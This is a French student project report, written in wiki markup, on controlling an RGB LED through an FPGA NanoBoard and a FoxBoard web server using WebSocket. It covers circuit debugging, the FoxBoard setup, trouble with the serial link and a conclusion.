[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]

Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds.

[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]

Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait "retarder" l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]

Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]

== Partie informatique ==

Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard.

===Prise en main :===

Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.

Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un "&" pour qu'il s'exécute en continu.

On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.

Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]:

= Séances supplémentaires =

N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le "DIGITAL I/O" car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.

Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme "clock fpga". En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière.

Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.

Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande.

Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.

Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.

Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.

(A compléter ...)

[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]

Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]

= Conclusion =
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.

Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.

La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.

La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.

Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble.

Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.

Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.